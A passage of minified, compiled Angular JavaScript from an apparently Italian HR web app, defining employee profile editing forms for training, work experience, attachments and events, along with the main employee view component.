valore")),f.Cb(2),f.nc("hidden",!e.controls.certificazione.value),f.Cb(2),f.Kc("",f.ic(76,68,"Emessa il")," "),f.Cb(3),f.nc("disabled",n._form.disabled)("model",e.controls.startDate.value)("inputClass",f.rc(86,Se,n.validateField("startDate",e,n.isInEdit))),f.Cb(1),f.nc("hidden",!e.controls.certificazione.value),f.Cb(2),f.Kc("",f.ic(82,70,"Scadenza")," "),f.Cb(3),f.nc("disabled",n._form.disabled)("model",e.controls.endDate.value)("inputClass",f.rc(88,Se,n.validateField("endDate",e,n.isInEdit))),f.Cb(1),f.nc("hidden",!e.controls.certificazione.value),f.Cb(2),f.Kc("",f.ic(88,72,"ID Credenziale")," "),f.Cb(3),f.nc("ngClass",f.rc(90,Se,n.validateField("certificate_id",e,n.isInEdit))),f.Cb(2),f.nc("hidden",!e.controls.certificazione.value),f.Cb(2),f.Kc("",f.ic(95,74,"URL Credenziale")," "),f.Cb(3),f.nc("ngClass",f.rc(92,Se,n.validateField("certificate_url",e,n.isInEdit)))}}const Te=function(e){return["row",e]};let Pe=(()=>{class e extends R.a{constructor(e){super(e,"FormArray",!0)}get newInnerFormItem(){return this.fb.group({formazione:[!1],certificazione:[!1],titoloFormazione:[null],dataConseguimento:[null],enteFormatore:[null],name_certification:[null],issuer:[null],startDate:[null],endDate:[null],certificate_id:[null],certificate_url:[null]})}}return e.\u0275fac=function(t){return new(t||e)(f.Pb(l.e))},e.\u0275cmp=f.Jb({type:e,selectors:[["app-employee-view-edit-formazione"]],features:[f.zb],decls:19,vars:14,consts:[[1,"row","my-5","customRow"],[1,"col-md-12","p-0"],[1,"card-title","title-custom"],[3,"ngClass"],[1,"col-md-12"],[1,"accordion"],["isOpen","true",4,"ngFor","ngForOf"],[1,"col-md-12","text-right",3,"hidden"],[1,"btn","btn-orange","mr-3","ml-3",3,"click"],[1,"mr-2","zmdi","zmdi-account-add"],[1,"btn","btn-dark",3,"click"],[1,"mr-2","zmdi","zmdi-delete"],["isOpen","true"],["accordion-heading","","type","button",1,"btn","btn-link","btn-block","w-100","justify-content-between","d-flex","shadow-none"],[1,"float-left","align-self-center"],[1,"float-right"],[1,"accordion-btn","align-self-center","ml-3","mr-2"],[1,"zmdi","zmdi-hc-2x","zmdi-chevron-down"],["class","accordion-btn align-self-center ml-3 mr-2",3,"hidden","click",4,"ngIf"],[1,"row",3,"formGroup"],[1,"col-md-6"],[1,"form-group"],[1,"card-body__title","d-inline"],[1,"form-group","mt-4"],[1,"toggle-switch","toggle-switch--modis"],["type","checkbox","formControlName","formazione",1,"toggle-switch__checkbox"],[1,"toggle-switch__helper"],[1,"form-group__bar"],["type","checkbox","formControlName","certificazione",1,"toggle-switch__checkbox"],[1,"col-md-6",3,"hidden"],[1,"card-body__title"],["type","text","formControlName","titoloFormazione",3,"ngClass"],[1,"invalid-tooltip"],["placeholder","","mode","month","format","MM / YYYY","locale","it","placement","bottom left",3,"disabled","model","inputClass","modelChange"],["type","text","formControlName","enteFormatore",3,"ngClass"],["type","text","formControlName","name_certification",3,"ngClass"],["bindLabel","name","bindValue","name","placeholder","","formControlName","issuer",3,"items","ngClass","addTag","addTagText"],["type","text","formControlName","certificate_id",3,"ngClass"],["type","text","formControlName","certificate_url",3,"ngClass"],[1,"accordion-btn","align-self-center","ml-3","mr-2",3,"hidden","click"],[1,"zmdi","zmdi-hc-2x","zmdi-delete"]],template:function(e,t){1&e&&(f.Vb(0,"div",0),f.Vb(1,"div",1),f.Vb(2,"h4",2),f.Ic(3),f.hc(4,"translate"),f.Ub(),f.Ub(),f.Ub(),f.Vb(5,"div",3),f.Vb(6,"div",4),f.Vb(7,"accordion",5),f.Gc(8,Ae,101,94,"accordion-group",6),f.Ub(),f.Ub(),f.Vb(9,"div",7),f.Qb(10,"br"),f.Vb(11,"a",8),f.cc("click",function(){return t.addItem()}),f.Qb(12,"i",9),f.Ic(13),f.hc(14,"translate"),f.Ub(),f.Vb(15,"a",10),f.cc("click",function(){return t.removeEmpty(t._form)}),f.Qb(16,"i",11),f.Ic(17),f.hc(18,"translate"),f.Ub(),f.Ub(),f.Ub()),2&e&&(f.Cb(3),f.Kc(" ",f.ic(4,6,"Formazione")," "),f.Cb(2),f.nc("ngClass",f.rc(12,Te,t.rowStyle)),f.Cb(3),f.nc("ngForOf",t._form.controls),f.Cb(1),f.nc("hidden",!t._isInEdit),f.Cb(4),f.Kc("",f.ic(14,8,"Aggiungi Formazione")," "),f.Cb(4),f.Kc("",f.ic(18,10,"Rimuovi Formazioni Vuote")," "))},directives:[h.l,oe.a,h.m,oe.c,h.n,l.o,l.i,l.a,l.n,l.g,l.c,v.a,C.a],pipes:[U.c],styles:[""]}),e})();function Me(e,t){if(1&e){const e=f.Wb();f.Vb(0,"span",31),f.cc("click",function(){f.Ac(e);const t=f.gc().index;return f.gc()._form.removeAt(t)}),f.Qb(1,"i",32),f.Ub()}if(2&e){const e=f.gc(2);f.nc("hidden",!e._isInEdit)}}const Ne=function(e){return["form-control",e]},Ke=function(e){return["form-control","border-select",e]},qe=function(e){return["form-control","textareaCustom",e]};function Je(e,t){if(1&e&&(f.Vb(0,"accordion-group",12),f.Vb(1,"button",13),f.Vb(2,"div",14),f.Ic(3),f.hc(4,"translate"),f.Ub(),f.Vb(5,"div",15),f.Vb(6,"span",16),f.Qb(7,"i",17),f.Ub(),f.Gc(8,Me,2,1,"span",18),f.Ub(),f.Ub(),f.Vb(9,"div",19),f.Vb(10,"div",20),f.Vb(11,"h3",21),f.Ic(12),f.hc(13,"translate"),f.Ub(),f.Vb(14,"div",22),f.Qb(15,"input",23),f.Qb(16,"i",24),f.Vb(17,"div",25),f.Ic(18),f.hc(19,"translate"),f.Ub(),f.Ub(),f.Ub(),f.Vb(20,"div",20),f.Vb(21,"h3",21),f.Ic(22),f.hc(23,"translate"),f.Ub(),f.Vb(24,"div",22),f.Qb(25,"input",26),f.Qb(26,"i",24),f.Vb(27,"div",25),f.Ic(28),f.hc(29,"translate"),f.Ub(),f.Ub(),f.Ub(),f.Vb(30,"div",20),f.Vb(31,"h3",21),f.Ic(32),f.hc(33,"translate"),f.Ub(),f.Vb(34,"div",22),f.Qb(35,"input",27),f.Qb(36,"i",24),f.Vb(37,"div",25),f.Ic(38),f.hc(39,"translate"),f.Ub(),f.Ub(),f.Ub(),f.Vb(40,"div",20),f.Vb(41,"h3",21),f.Ic(42),f.hc(43,"translate"),f.Ub(),f.Vb(44,"div",22),f.Vb(45,"app-datetime-manager",28),f.cc("modelChange",function(e){return t.$implicit.controls.exp_startDate.value=e}),f.Ub(),f.Ub(),f.Ub(),f.Vb(46,"div",20),f.Vb(47,"h3",21),f.Ic(48),f.hc(49,"translate"),f.Ub(),f.Vb(50,"div",22),f.Vb(51,"app-datetime-manager",28),f.cc("modelChange",function(e){return t.$implicit.controls.exp_endDate.value=e}),f.Ub(),f.Ub(),f.Ub(),f.Vb(52,"div",20),f.Vb(53,"h3",21),f.Ic(54),f.hc(55,"translate"),f.Ub(),f.Vb(56,"div",22),f.Qb(57,"ng-select",29),f.hc(58,"translate"),f.Vb(59,"div",25),f.Ic(60),f.hc(61,"translate"),f.Ub(),f.Ub(),f.Ub(),f.Vb(62,"div",4),f.Vb(63,"h3",21),f.Ic(64),f.hc(65,"translate"),f.Ub(),f.Vb(66,"div",22),f.Vb(67,"textarea",30),f.Ic(68,"                        "),f.Ub(),f.Qb(69,"i",24),f.Vb(70,"div",25),f.Ic(71),f.hc(72,"translate"),f.Ub(),f.Ub(),f.Ub(),f.Ub(),f.Ub()),2&e){const e=t.$implicit,i=t.index,n=f.gc();f.Cb(3),f.Kc(" ",e.controls.exp_jobTitle.value?e.controls.exp_jobTitle.value+(e.controls.company_name.value?" ("+e.controls.company_name.value+")":""):f.ic(4,29,"Esperienza")+" #"+(i+1)," "),f.Cb(5),f.nc("ngIf",n._form.length>1),f.Cb(1),f.nc("formGroup",e),f.Cb(3),f.Kc("",f.ic(13,31,"Mansione")," "),f.Cb(3),f.nc("ngClass",f.rc(57,Ne,n.validateField("exp_jobTitle",e,n.isInEdit))),f.Cb(3),f.Jc(f.ic(19,33,"La mansione \xe8 obbligatoria e non pu\xf2 superare i 30 caratteri!")),f.Cb(4),f.Jc(f.ic(23,35,"Azienda")),f.Cb(3),f.nc("ngClass",f.rc(59,Ne,n.validateField("company_name",e,n.isInEdit))),f.Cb(3),f.Jc(f.ic(29,37,"Il nome dell'azienda \xe8 obbligatorio e non pu\xf2 superare i 30 caratteri!")),f.Cb(4),f.Jc(f.ic(33,39,"Citt\xe0")),f.Cb(3),f.nc("ngClass",f.rc(61,Ne,n.validateField("location",e,n.isInEdit))),f.Cb(3),f.Jc(f.ic(39,41,"La citt\xe0 dove si \xe8 svolto il lavoro \xe8 obbligatoria!")),f.Cb(4),f.Jc(f.ic(43,43,"Data di inizio")),f.Cb(3),f.nc("disabled",n._form.disabled)("model",e.controls.exp_startDate.value)("inputClass",f.rc(63,Ne,n.validateField("exp_startDate",e,n.isInEdit))),f.Cb(3),f.Kc("",f.ic(49,45,"Data di fine")," "),f.Cb(3),f.nc("disabled",n._form.disabled)("model",e.controls.exp_endDate.value)("inputClass",f.rc(65,Ne,n.validateField("exp_endDate",e,n.isInEdit))),f.Cb(3),f.Kc("",f.ic(55,47,"Industry")," "),f.Cb(3),f.nc("items",n.options.industryListOpt)("ngClass",f.rc(67,Ke,n.validateField("exp_industry",e,n.isInEdit)))("addTag",!0)("addTagText",f.ic(58,49,"Premi invio per aggiungere il nuovo valore")),f.Cb(3),f.Jc(f.ic(61,51,"Seleziona il settore dove hai svolto questa mansione!")),f.Cb(4),f.Kc("",f.ic(65,53,"Descrizione")," "),f.Cb(3),f.nc("ngClass",f.rc(69,qe,n.validateField("description",e,n.isInEdit))),f.Cb(4),f.Jc(f.ic(72,55,"La descrizione non pu\xf2 superare i 500 caratteri!"))}}const Ge=function(e){return["row",e]};let De=(()=>{class e extends R.a{constructor(e){super(e,"FormArray",!0)}get newInnerFormItem(){return this.fb.group({exp_jobTitle:[null],company_name:[null],location:[null],exp_startDate:[null],exp_endDate:[null],description:[null],exp_industry:[null]})}}return e.\u0275fac=function(t){return new(t||e)(f.Pb(l.e))},e.\u0275cmp=f.Jb({type:e,selectors:[["app-employee-view-edit-esperienza"]],features:[f.zb],decls:19,vars:14,consts:[[1,"row","my-5","customRow"],[1,"col-md-12","p-0"],[1,"card-title","title-custom"],[3,"ngClass"],[1,"col-md-12"],[1,"accordion"],["isOpen","true",4,"ngFor","ngForOf"],[1,"col-md-12","text-right",3,"hidden"],[1,"btn","btn-orange","mr-3","ml-3",3,"click"],[1,"mr-2","zmdi","zmdi-account-add"],[1,"btn","btn-dark",3,"click"],[1,"mr-2","zmdi","zmdi-delete"],["isOpen","true"],["accordion-heading","","type","button",1,"btn","btn-link","btn-block","w-100","justify-content-between","d-flex","shadow-none"],[1,"float-left","align-self-center"],[1,"float-right"],[1,"accordion-btn","align-self-center","ml-3","mr-2"],[1,"zmdi","zmdi-hc-2x","zmdi-chevron-down"],["class","accordion-btn align-self-center ml-3 mr-2",3,"hidden","click",4,"ngIf"],[1,"row",3,"formGroup"],[1,"col-md-6"],[1,"card-body__title"],[1,"form-group"],["type","text","formControlName","exp_jobTitle",3,"ngClass"],[1,"form-group__bar"],[1,"invalid-tooltip"],["type","text","formControlName","company_name",3,"ngClass"],["type","text","formControlName","location",3,"ngClass"],["placeholder","","mode","month","format","MM / YYYY","locale","it","placement","bottom left",3,"disabled","model","inputClass","modelChange"],["bindLabel","name","bindValue","name","placeholder","","formControlName","exp_industry",3,"items","ngClass","addTag","addTagText"],["formControlName","description","autosize","","placeholder","",3,"ngClass"],[1,"accordion-btn","align-self-center","ml-3","mr-2",3,"hidden","click"],[1,"zmdi","zmdi-hc-2x","zmdi-delete"]],template:function(e,t){1&e&&(f.Vb(0,"div",0),f.Vb(1,"div",1),f.Vb(2,"h4",2),f.Ic(3),f.hc(4,"translate"),f.Ub(),f.Ub(),f.Ub(),f.Vb(5,"div",3),f.Vb(6,"div",4),f.Vb(7,"accordion",5),f.Gc(8,Je,73,71,"accordion-group",6),f.Ub(),f.Ub(),f.Vb(9,"div",7),f.Qb(10,"br"),f.Vb(11,"a",8),f.cc("click",function(){return t.addItem()}),f.Qb(12,"i",9),f.Ic(13),f.hc(14,"translate"),f.Ub(),f.Vb(15,"a",10),f.cc("click",function(){return t.removeEmpty(t._form)}),f.Qb(16,"i",11),f.Ic(17),f.hc(18,"translate"),f.Ub(),f.Ub(),f.Ub()),2&e&&(f.Cb(3),f.Kc(" ",f.ic(4,6,"Esperienza")," "),f.Cb(2),f.nc("ngClass",f.rc(12,Ge,t.rowStyle)),f.Cb(3),f.nc("ngForOf",t._form.controls),f.Cb(1),f.nc("hidden",!t._isInEdit),f.Cb(4),f.Kc("",f.ic(14,8,"Aggiungi Esperienza")," "),f.Cb(4),f.Kc("",f.ic(18,10,"Rimuovi Esperienze Vuote")," "))},directives:[h.l,oe.a,h.m,oe.c,h.n,l.o,l.i,l.c,l.n,l.g,v.a,C.a,a.a],pipes:[U.c],styles:[""]}),e})();var je=i("9/yJ");const Re=function(e){return["form-control",e]},We=function(e){return["form-control","border-select",e]};function $e(e,t){if(1&e){const e=f.Wb();f.Vb(0,"accordion-group",12),f.Vb(1,"button",13),f.Vb(2,"div",14),f.Ic(3),f.hc(4,"translate"),f.Ub(),f.Vb(5,"div",15),f.Vb(6,"span",16),f.Qb(7,"i",17),f.Ub(),f.Vb(8,"span",18),f.cc("click",function(){f.Ac(e);const i=t.index;return f.gc()._form.removeAt(i)}),f.Qb(9,"i",19),f.Ub(),f.Ub(),f.Ub(),f.Vb(10,"div",20),f.Vb(11,"div",4),f.Vb(12,"h3",21),f.Ic(13),f.hc(14,"translate"),f.Ub(),f.Vb(15,"div",22),f.Qb(16,"app-file-manager"),f.Ub(),f.Ub(),f.Vb(17,"div",23),f.Vb(18,"h3",21),f.Ic(19),f.hc(20,"translate"),f.Ub(),f.Vb(21,"div",22),f.Qb(22,"input",24),f.Qb(23,"i",25),f.Ub(),f.Ub(),f.Vb(24,"div",23),f.Vb(25,"h3",21),f.Ic(26),f.hc(27,"translate"),f.Ub(),f.Vb(28,"div",22),f.Qb(29,"ng-select",26),f.Ub(),f.Ub(),f.Ub(),f.Ub()}if(2&e){const e=t.$implicit,i=t.index,n=f.gc();f.Cb(3),f.Kc(" ",e.controls.filename.value?e.controls.filename.value:f.ic(4,9,"Allegato")+" #"+(i+1)," "),f.Cb(5),f.nc("hidden",!n._isInEdit),f.Cb(2),f.nc("formGroup",e),f.Cb(3),f.Kc("",f.ic(14,11,"File")," "),f.Cb(6),f.Jc(f.ic(20,13,"Nome file")),f.Cb(3),f.nc("ngClass",f.rc(17,Re,n.validateField("filename",e,n.isInEdit))),f.Cb(4),f.Jc(f.ic(27,15,"Categoria")),f.Cb(3),f.nc("items",n.options.categoryOptions)("ngClass",f.rc(19,We,n.validateField("category",e,n.isInEdit)))}}const Be=function(e){return["row",e]};let Ye=(()=>{class e extends R.a{constructor(e){super(e,"FormArray",!0),this.dropzoneCfgAllegati={url:g.a.apiUrl+"endpoint-sbagliato",maxFilesize:50,acceptedFiles:"image/*"}}get newInnerFormItem(){return this.fb.group({category:[null],filename:[null]})}}return e.\u0275fac=function(t){return new(t||e)(f.Pb(l.e))},e.\u0275cmp=f.Jb({type:e,selectors:[["app-employee-view-edit-allegati"]],features:[f.zb],decls:19,vars:14,consts:[[1,"row","my-5","customRow"],[1,"col-md-12","p-0"],[1,"card-title","title-custom"],[3,"ngClass"],[1,"col-md-12"],[1,"accordion"],["isOpen","true",4,"ngFor","ngForOf"],[1,"col-md-12","text-right",3,"hidden"],[1,"btn","btn-orange","mr-3","ml-3",3,"click"],[1,"mr-2","zmdi","zmdi-account-add"],[1,"btn","btn-dark",3,"click"],[1,"mr-2","zmdi","zmdi-delete"],["isOpen","true"],["accordion-heading","","type","button",1,"btn","btn-link","btn-block","w-100","justify-content-between","d-flex","shadow-none"],[1,"float-left","align-self-center"],[1,"float-right"],[1,"accordion-btn","align-self-center","ml-3","mr-2"],[1,"zmdi","zmdi-hc-2x","zmdi-chevron-down"],[1,"accordion-btn","align-self-center","ml-3","mr-2",3,"hidden","click"],[1,"zmdi","zmdi-hc-2x","zmdi-delete"],[1,"row",3,"formGroup"],[1,"card-body__title"],[1,"form-group"],[1,"col-md-6"],["type","text","formControlName","filename",3,"ngClass"],[1,"form-group__bar"],["bindLabel","name","bindValue","id","placeholder","","formControlName","category",3,"items","ngClass"]],template:function(e,t){1&e&&(f.Vb(0,"div",0),f.Vb(1,"div",1),f.Vb(2,"h4",2),f.Ic(3),f.hc(4,"translate"),f.Ub(),f.Ub(),f.Ub(),f.Vb(5,"div",3),f.Vb(6,"div",4),f.Vb(7,"accordion",5),f.Gc(8,$e,30,21,"accordion-group",6),f.Ub(),f.Ub(),f.Vb(9,"div",7),f.Qb(10,"br"),f.Vb(11,"a",8),f.cc("click",function(){return t.addItem()}),f.Qb(12,"i",9),f.Ic(13),f.hc(14,"translate"),f.Ub(),f.Vb(15,"a",10),f.cc("click",function(){return t.removeEmpty(t._form,!0)}),f.Qb(16,"i",11),f.Ic(17),f.hc(18,"translate"),f.Ub(),f.Ub(),f.Ub()),2&e&&(f.Cb(3),f.Kc(" ",f.ic(4,6,"Allegati")," "),f.Cb(2),f.nc("ngClass",f.rc(12,Be,t.rowStyle)),f.Cb(3),f.nc("ngForOf",t._form.controls),f.Cb(1),f.nc("hidden",!t._isInEdit),f.Cb(4),f.Kc("",f.ic(14,8,"Aggiungi Allegato")," "),f.Cb(4),f.Kc("",f.ic(18,10,"Rimuovi Allegati Vuoti")," "))},directives:[h.l,oe.a,h.m,oe.c,l.o,l.i,je.a,l.c,l.n,l.g,C.a],pipes:[U.c],styles:[""]}),e})();function He(e,t){if(1&e){const e=f.Wb();f.Vb(0,"span",29),f.cc("click",function(){f.Ac(e);const t=f.gc().index;return f.gc()._form.removeAt(t)}),f.Qb(1,"i",30),f.Ub()}if(2&e){const e=f.gc(2);f.nc("hidden",!e._isInEdit)}}const Ze=function(e){return["form-control",e]},Xe=function(e){return["form-control","border-select",e]},et=function(e){return["form-control","textareaCustom",e]};function tt(e,t){if(1&e&&(f.Vb(0,"accordion-group",12),f.Vb(1,"button",13),f.Vb(2,"div",14),f.Ic(3),f.hc(4,"translate"),f.Ub(),f.Vb(5,"div",15),f.Vb(6,"span",16),f.Qb(7,"i",17),f.Ub(),f.Gc(8,He,2,1,"span",18),f.Ub(),f.Ub(),f.Vb(9,"div",19),f.Vb(10,"div",20),f.Vb(11,"h3",21),f.Ic(12),f.hc(13,"translate"),f.Ub(),f.Vb(14,"div",22),f.Qb(15,"input",23),f.Qb(16,"i",24),f.Ub(),f.Ub(),f.Vb(17,"div",20),f.Vb(18,"h3",21),f.Ic(19),f.hc(20,"translate"),f.Ub(),f.Vb(21,"div",22),f.Qb(22,"ng-select",25),f.Ub(),f.Qb(23,"i",24),f.Ub(),f.Vb(24,"div",20),f.Vb(25,"h3",21),f.Ic(26),f.hc(27,"translate"),f.Ub(),f.Vb(28,"div",22),f.Vb(29,"app-datetime-manager",26),f.cc("modelChange",function(e){return t.$implicit.controls.data_inizio.value=e}),f.Ub(),f.Qb(30,"i",24),f.Ub(),f.Ub(),f.Vb(31,"div",20),f.Vb(32,"h3",21),f.Ic(33),f.hc(34,"translate"),f.Ub(),f.Vb(35,"div",22),f.Vb(36,"app-datetime-manager",26),f.cc("modelChange",function(e){return t.$implicit.controls.data_fine.value=e}),f.Ub(),f.Qb(37,"i",24),f.Ub(),f.Ub(),f.Vb(38,"div",20),f.Vb(39,"h3",21),f.Ic(40),f.hc(41,"translate"),f.Ub(),f.Vb(42,"div",22),f.Qb(43,"input",27),f.Qb(44,"i",24),f.Ub(),f.Ub(),f.Vb(45,"div",4),f.Vb(46,"h3",21),f.Ic(47),f.hc(48,"translate"),f.Ub(),f.Vb(49,"div",22),f.Vb(50,"textarea",28),f.Ic(51,"                            "),f.Ub(),f.Qb(52,"i",24),f.Ub(),f.Ub(),f.Ub(),f.Ub()),2&e){const e=t.$implicit,i=t.index,n=f.gc();f.Cb(3),f.Kc(" ",e.controls.titolo.value?e.controls.titolo.value+(e.controls.tipologia.value?" ("+e.controls.tipologia.value+")":""):f.ic(4,20,"Evento")+" #"+(i+1)," "),f.Cb(5),f.nc("ngIf",n._form.length>1),f.Cb(1),f.nc("formGroup",e),f.Cb(3),f.Jc(f.ic(13,22,"Titolo")),f.Cb(3),f.nc("ngClass",f.rc(34,Ze,n.validateField("titolo",e,n.isInEdit))),f.Cb(4),f.Kc("",f.ic(20,24,"Tipologia")," "),f.Cb(3),f.nc("items",n.options.tipologiaOption)("ngClass",f.rc(36,Xe,n.validateField("tipologia",e,n.isInEdit))),f.Cb(4),f.Kc("",f.ic(27,26,"Data Inizio")," "),f.Cb(3),f.nc("disabled",n._form.disabled)("model",e.controls.data_inizio.value)("inputClass",f.rc(38,Ze,n.validateField("data_inizio",e,n.isInEdit))),f.Cb(4),f.Kc("",f.ic(34,28,"Data Fine")," "),f.Cb(3),f.nc("disabled",n._form.disabled)("model",e.controls.data_fine.value)("inputClass",f.rc(40,Ze,n.validateField("data_fine",e,n.isInEdit))),f.Cb(4),f.Jc(f.ic(41,30,"Link Evento")),f.Cb(3),f.nc("ngClass",f.rc(42,Ze,n.validateField("link_evento",e,n.isInEdit))),f.Cb(4),f.Jc(f.ic(48,32,"Contenuto")),f.Cb(3),f.nc("ngClass",f.rc(44,et,n.validateField("contenuto",e,n.isInEdit)))}}let it=(()=>{class e extends R.a{constructor(e){super(e,"FormArray")}get newInnerFormItem(){return this.fb.group({titolo:[null],tipologia:[null],data_inizio:[null],data_fine:[null],link_evento:[null],contenuto:[null]})}ngOnInit(){}}return e.\u0275fac=function(t){return new(t||e)(f.Pb(l.e))},e.\u0275cmp=f.Jb({type:e,selectors:[["app-employee-view-edit-evento"]],features:[f.zb],decls:19,vars:11,consts:[[1,"row","my-5","customRow"],[1,"col-md-12","p-0"],[1,"card-title","title-custom"],[1,"row"],[1,"col-md-12"],[1,"accordion"],["isOpen","true",4,"ngFor","ngForOf"],[1,"col-md-12","text-right",3,"hidden"],[1,"btn","btn-orange","mr-3","ml-3",3,"click"],[1,"mr-2","zmdi","zmdi-account-add"],[1,"btn","btn-dark",3,"click"],[1,"mr-2","zmdi","zmdi-delete"],["isOpen","true"],["accordion-heading","","type","button",1,"btn","btn-link","btn-block","w-100","justify-content-between","d-flex","shadow-none"],[1,"float-left","align-self-center"],[1,"float-right"],[1,"accordion-btn","align-self-center","ml-3","mr-2"],[1,"zmdi","zmdi-hc-2x","zmdi-chevron-down"],["class","accordion-btn align-self-center ml-3 mr-2",3,"hidden","click",4,"ngIf"],[1,"row",3,"formGroup"],[1,"col-md-6"],[1,"card-body__title"],[1,"form-group"],["type","text","formControlName","titolo",3,"ngClass"],[1,"form-group__bar"],["bindLabel","name","bindValue","name","placeholder","","formControlName","tipologia",3,"items","ngClass"],["placeholder","","mode","day","locale","it","placement","bottom left",3,"disabled","model","inputClass","modelChange"],["type","text","formControlName","link_evento",3,"ngClass"],["formControlName","contenuto","autosize","","placeholder","",3,"ngClass"],[1,"accordion-btn","align-self-center","ml-3","mr-2",3,"hidden","click"],[1,"zmdi","zmdi-hc-2x","zmdi-delete"]],template:function(e,t){1&e&&(f.Vb(0,"div",0),f.Vb(1,"div",1),f.Vb(2,"h4",2),f.Ic(3),f.hc(4,"translate"),f.Ub(),f.Ub(),f.Ub(),f.Vb(5,"div",3),f.Vb(6,"div",4),f.Vb(7,"accordion",5),f.Gc(8,tt,53,46,"accordion-group",6),f.Ub(),f.Ub(),f.Vb(9,"div",7),f.Qb(10,"br"),f.Vb(11,"a",8),f.cc("click",function(){return t.addItem()}),f.Qb(12,"i",9),f.Ic(13),f.hc(14,"translate"),f.Ub(),f.Vb(15,"a",10),f.cc("click",function(){return t.removeEmpty(t._form)}),f.Qb(16,"i",11),f.Ic(17),f.hc(18,"translate"),f.Ub(),f.Ub(),f.Ub()),2&e&&(f.Cb(3),f.Kc(" ",f.ic(4,5,"Eventi")," "),f.Cb(5),f.nc("ngForOf",t._form.controls),f.Cb(1),f.nc("hidden",!t._isInEdit),f.Cb(4),f.Kc("",f.ic(14,7,"Aggiungi Evento")," "),f.Cb(4),f.Kc("",f.ic(18,9,"Rimuovi Eventi Vuoti")," "))},directives:[oe.a,h.m,oe.c,h.n,l.o,l.i,l.c,l.n,l.g,h.l,C.a,v.a,a.a],pipes:[U.c],styles:[""]}),e})();const nt=["dropzoneUserImg"];function ot(e,t){if(1&e){const e=f.Wb();f.Vb(0,"img",32),f.cc("click",function(){return f.Ac(e),f.gc().changeUserImage()}),f.Ub()}if(2&e){const e=f.gc();f.oc("src",e.imgUrl+e.proPicSrc,f.Cc)}}function at(e,t){1&e&&f.Qb(0,"ngx-dropzone-image-preview",33),2&e&&f.nc("file",t.$implicit)}function ct(e,t){if(1&e){const e=f.Wb();f.Vb(0,"button",34),f.cc("click",function(){return f.Ac(e),f.gc().saveForm()}),f.hc(1,"translate"),f.Qb(2,"i",35),f.Ic(3),f.hc(4,"translate"),f.Ub()}2&e&&(f.nc("tooltip",f.ic(1,2,"Salva le modifiche")),f.Cb(3),f.Kc("",f.ic(4,4,"Salva")," "))}function rt(e,t){if(1&e){const e=f.Wb();f.Vb(0,"button",36),f.cc("click",function(){return f.Ac(e),f.gc().isInEdit=!0}),f.hc(1,"translate"),f.Qb(2,"i",37),f.Ic(3),f.hc(4,"translate"),f.Ub()}2&e&&(f.nc("tooltip",f.ic(1,2,"Abilita Modifica")),f.Cb(3),f.Kc("",f.ic(4,4,"Modifica")," "))}function lt(e,t){if(1&e){const e=f.Wb();f.Vb(0,"button",38),f.cc("click",function(){return f.Ac(e),f.gc().isInEdit=!1}),f.hc(1,"translate"),f.Qb(2,"i",39),f.Ic(3),f.hc(4,"translate"),f.Ub()}2&e&&(f.nc("tooltip",f.ic(1,2,"Passa alla visualizzazione")),f.Cb(3),f.Kc("",f.ic(4,4,"Sola lettura")," "))}let st=(()=>{class e{constructor(e,t,i,n,o,a,c,r){this.employeeService=t,this.router=i,this.route=n,this.translate=o,this.utilsService=a,this.growService=c,this.authorizationService=r,this.configurazioneWizard=[],this.currentUserMail=null,this.proPicSrc=null,this.imgUrl=g.a.imageUrl,this.fileToUpload=null,this.contactDefaultImg="./assets/demo/img/contacts/user_empty.png",this.dropzoneCfgAnagrafica={url:g.a.apiUrl+"endpoint-sbagliato",maxFilesize:50,acceptedFiles:"image/*"},this.isInEdit=!1,this.settingsGUIJsonUpload={gui:{showTableAttach:!0,showUploadAttach:!0}},this.settingsDataJsonUpload={data:{userType:"employee",fixedCategory:"CV",showDropCategory:"",showCompactTable:!1,requestFilters:{id_file:"",id_user:"",category:"CV"}}},this.currentStep="anagrafica",this.formList=["educations","languages","skills","trainings","experiences","attachments","events"],this.files=[],this.base64Files=[],this.scrollHandler=e=>{let t=window.innerHeight/2,i=window.scrollY,n=[];this.configurazioneTimeline.forEach(e=>{let t=document.getElementById(e.step);t&&n.push({step:e.step,distanza:i-t.offsetTop})}),n=n.filter(e=>e.distanza>-t&&e.distanza<t).sort(function(e,t){return e.distanza-t.distanza}),n.length&&n[0]&&(this.currentStep=n[0].step)},this.configurazioneTimeline=[{step:"anagrafica",name:"Anagrafica"},{step:"educations",name:"Istruzione"},{step:"languages",name:"Lingue"},{step:"skills",name:"Skills"},{step:"soft-skills",name:"Soft Skills"},{step:"trainings",name:"Formazione"},{step:"experiences",name:"Esperienza"},{step:"attachments",name:"Allegati"},{step:"events",name:"Eventi"}],this.fb=e,this.currentUserMail=this.authorizationService.getUserFromToken().data.email,console.log("Current user: ",this.currentUserMail),this.initForm(),this.initOptions(),this.setFormData(),this.setOptionsData(),window.insertform=this.insertForm}setCurrentStep(e){let t=document.querySelector(`#${e} div`);window.scrollTo(0,t.offsetTop),this.currentStep=e}ngOnInit(){window.addEventListener("scroll",this.scrollHandler,!0),window.insertForm=this.insertForm}ngOnDestroy(){}updateForm(e,t){this.insertForm.get(t).setValue(e)}componentDestroyed(e,t){this.insertForm.addControl(t,e)}initForm(){this.insertForm=this.fb.group({anagrafica:[""],educations:[""],languages:[""],skills:[""],softSkills:[""],trainings:[""],experiences:[""],attachments:[""],interviews:[""],events:[""]})}initOptions(){this.anagraficaFormOptions={jobTitleOption:[],recruitmentOptions:[],geographicOptions:[],cityOptions:[],cityOptionsFiltered:[],birthCityOptionsFiltered:[],ruoloFromDB:[],regionsOptions:[],nationOptions:[],mobilitazioneOptions:[]},this.istruzioneFormOptions={educOptions:[],educLevelOptions:[],educTitlesOptions:[],regions:[],cityOptions:[],schoolsFiltered:[]},this.lingueFormOptions={languagesListOpt:[],languagesLevelOpt:[]},this.skillsFormOptions={industryListOpt:[],macroAreaListOpt:[],categoriesOptions:[],subCategoriesOptions:[],skillsOptions:[]},this.formazioneFormOptions={issuersListOpt:[]},this.esperienzaFormOptions={industryListOpt:[]},this.allegatiFormOptions={categoryOptions:[]},this.eventoFormOptions={tipologiaOption:[]}}setOptionsData(){this.utilsService.getAllMobilitazioneOptions().pipe(Object(q.a)(),Object(J.a)(e=>{e.status&&(this.anagraficaFormOptions.mobilitazioneOptions=e.message)})).subscribe(),this.utilsService.getAllJobTitles().pipe(Object(q.a)(),Object(J.a)(e=>{e.status&&(this.anagraficaFormOptions.jobTitleOption=e.message)})).subscribe(),this.utilsService.getAllRecruitmentOptions().pipe(Object(q.a)(),Object(J.a)(e=>{e.status&&(this.anagraficaFormOptions.recruitmentOptions=e.message)})).subscribe(),this.utilsService.getAllGeographicO